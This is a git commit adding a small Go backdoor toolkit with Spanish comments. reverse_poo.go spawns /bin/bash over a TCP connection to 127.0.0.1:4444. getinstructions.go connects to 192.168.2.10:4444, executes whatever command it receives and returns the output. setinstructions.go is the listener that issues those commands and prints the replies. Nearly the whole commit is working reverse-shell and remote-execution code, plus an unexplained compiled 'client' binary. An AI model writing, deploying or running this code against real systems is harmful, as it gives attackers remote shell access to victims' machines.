commit 421a9b247b4b834c94a4fd32354892ed12c7b68d
Author: kar <lol@lol.com>
Date:   Mon Sep 8 08:38:04 2025 -0600

    primer commit

diff --git a/client b/client
new file mode 100755
index 0000000..223fafe
Binary files /dev/null and b/client differ
diff --git a/getinstructions.go b/getinstructions.go
new file mode 100644
index 0000000..95ef306
--- /dev/null
+++ b/getinstructions.go
@@ -0,0 +1,62 @@
+package main 
+import (
+	"net"
+	"os/exec"
+	"strings"
+)
+
+type ReverseAddr struct {
+	reverAddr string 
+}
+
+func CreateAddr() *ReverseAddr {
+	return &ReverseAddr {
+		reverAddr: "192.168.2.10:4444",
+	}
+}
+
+
+func (ra ReverseAddr) CreateRever() {
+	conn, err := net.Dial("tcp", ra.reverAddr)
+	if err != nil {
+		return 
+	}
+	cmd := exec.Command("/bin/bash")
+	cmd.Stdin = conn
+	cmd.Stdout = conn 
+	cmd.Stderr = conn 
+	cmd.Run()
+}
+
+func (ra ReverseAddr) GetInstructions() {
+	conn, err := net.Dial("tcp", ra.reverAddr)
+	if err != nil {
+		return
+	}
+	buf := make([]byte,1024)
+	n, err := conn.Read(buf)
+	if err != nil {
+		return 
+	}
+	data := string(buf[:n])
+	mensaje := strings.TrimSpace(data)
+	partes := strings.Split(mensaje," ")
+	comando := partes[0]
+	argumentos := partes[1:]
+	cmd := exec.Command(comando, argumentos...)
+	output, err := cmd.Output()
+	if err != nil {
+		return 
+	}
+	_, err = conn.Write(output)
+	if err != nil {
+		return
+	}
+	conn.Close()
+}
+
+
+func main() {
+	myaddr := CreateAddr()
+	myaddr.GetInstructions()
+}
diff --git a/reverse_poo.go b/reverse_poo.go
new file mode 100644
index 0000000..9ba99b4
--- /dev/null
+++ b/reverse_poo.go
@@ -0,0 +1,33 @@
+package main 
+import (
+	"net"
+	"os/exec"
+)
+
+type ReverseAddr struct {
+	reverAddr string 
+}
+
+func CreateAddr() *ReverseAddr {
+	return &ReverseAddr {
+		reverAddr: "127.0.0.1:4444",
+	}
+}
+
+
+func (ra ReverseAddr) CreateRever() {
+	conn, err := net.Dial("tcp", ra.reverAddr)
+	if err != nil {
+		return 
+	}
+	cmd := exec.Command("/bin/bash")
+	cmd.Stdin = conn
+	cmd.Stdout = conn 
+	cmd.Stderr = conn 
+	cmd.Run()
+}
+
+func main() {
+	myaddr := CreateAddr()
+	myaddr.CreateRever()
+}
diff --git a/setinstructions.go b/setinstructions.go
new file mode 100644
index 0000000..2634507
--- /dev/null
+++ b/setinstructions.go
@@ -0,0 +1,72 @@
+package main 
+import (
+	"fmt"
+	"net"
+	"log"
+	"os"
+	"strings"
+)
+
+type localAddr struct {
+	Addr string
+}
+
+//metodo constructor
+func CreateAddr() *localAddr {
+	return &localAddr {
+		Addr: "192.168.2.10:4444",
+	}
+}
+
+func (la localAddr) BindPort() {
+	listener, err := net.Listen("tcp", la.Addr)
+	if err != nil {
+		log.Println(err)
+	}
+	defer listener.Close() 
+	for {
+		conn, err := listener.Accept()
+		if err != nil {
+			log.Println(err)
+		}
+		fmt.Println("\nConexion recibida de ", conn.RemoteAddr())
+	go handleConnection(conn)
+}
+}
+
+func handleConnection(conn net.Conn) {
+	defer conn.Close()
+	
+	if len(os.Args) < 1 {
+		fmt.Println("Escribir comando que tenga que realizar el cliente")
+	} else {
+		fmt.Println("Ejecutando", os.Args[1:])
+	}
+	
+
+	comando := os.Args[1:]
+	comandoUnido := strings.Join(comando, " ")
+	_, err := conn.Write([]byte(comandoUnido))
+	if err != nil {
+		fmt.Println("error al enviar orden")
+	}
+	
+	conn.(*net.TCPConn).CloseWrite()
+	buf := make([]byte, 4096)
+	n, err := conn.Read(buf)
+	respuesta := strings.TrimSpace(string(buf[:n]))
+	if err != nil {
+		log.Println(err)
+	}
+	fmt.Printf("Respuesta de %s:\n", conn.RemoteAddr())
+	fmt.Printf("====================\n")
+	fmt.Printf(respuesta)
+	fmt.Printf("\n====================")
+}
+
+func main() {
+	myBind := CreateAddr()
+	myBind.BindPort()
+}
+
+